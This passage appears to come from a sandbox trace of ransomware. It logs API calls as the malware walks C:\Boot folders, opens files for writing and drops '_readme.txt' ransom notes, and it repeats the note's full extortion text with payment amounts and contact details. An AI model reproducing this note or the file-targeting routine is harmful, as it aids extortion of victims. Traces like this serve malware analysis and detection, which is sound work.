lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.826] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.826] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.826] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.826] PathFindFileNameW (pszPath="") returned="" [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.826] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.826] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.827] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e8ae0 [0124.827] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.827] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.827] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.827] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.827] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.827] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.828] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.828] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.828] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0124.828] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.828] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.828] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.828] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.828] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.829] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0124.829] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.829] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.829] PathFindFileNameW (pszPath="") returned="" [0124.829] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.829] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.830] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.830] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0124.830] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0124.830] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.830] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.830] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.830] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, 